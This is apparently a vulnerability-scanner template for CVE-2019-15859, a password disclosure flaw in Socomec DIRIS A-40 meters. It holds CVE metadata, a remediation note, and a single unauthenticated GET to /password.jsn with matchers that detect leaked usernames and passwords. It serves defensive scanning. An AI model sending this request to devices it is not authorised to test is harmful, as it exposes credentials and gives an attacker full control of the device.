id: CVE-2019-15859

info:
  name: Socomec DIRIS A-40 Devices Password Disclosure
  author: geeknik
  severity: critical
  description: Socomec DIRIS A-40 devices before 48250501 are susceptible to a password disclosure vulnerability in the web interface that could allow remote attackers to get full access to a device via the /password.jsn URI.
  impact: |
    An attacker can obtain sensitive information such as passwords, leading to unauthorized access.
  remediation: |
    Update the firmware of the Socomec DIRIS A-40 devices to the latest version to mitigate the vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2019/Oct/10
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15859
    - http://packetstormsecurity.com/files/154764/Socomec-DIRIS-A-40-Password-Disclosure.html
    - https://www.socomec.com/single-circuit-multifunction-meters_en.html
    - http://seclists.org/fulldisclosure/2019/Oct/10
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-15859
    cwe-id: CWE-200
    epss-score: 0.12379
    epss-percentile: 0.94891
    cpe: cpe:2.3:o:socomec:diris_a-40_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: socomec
    product: diris_a-40_firmware
  tags: cve,cve2019,seclists,packetstorm,disclosure,socomec,diris,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/password.jsn"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/json"

      - type: word
        part: body
        words:
          - "username"
          - "password"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220208952e393fa88832d1c72d19611165090abc28af52d0065331c37e218df2b12022100ea5e6bdbecea617d9342d1549b6698a64af424ce6106cbfaabc4d3d5628f1345:922c64590222798bb761d5b6d8e72950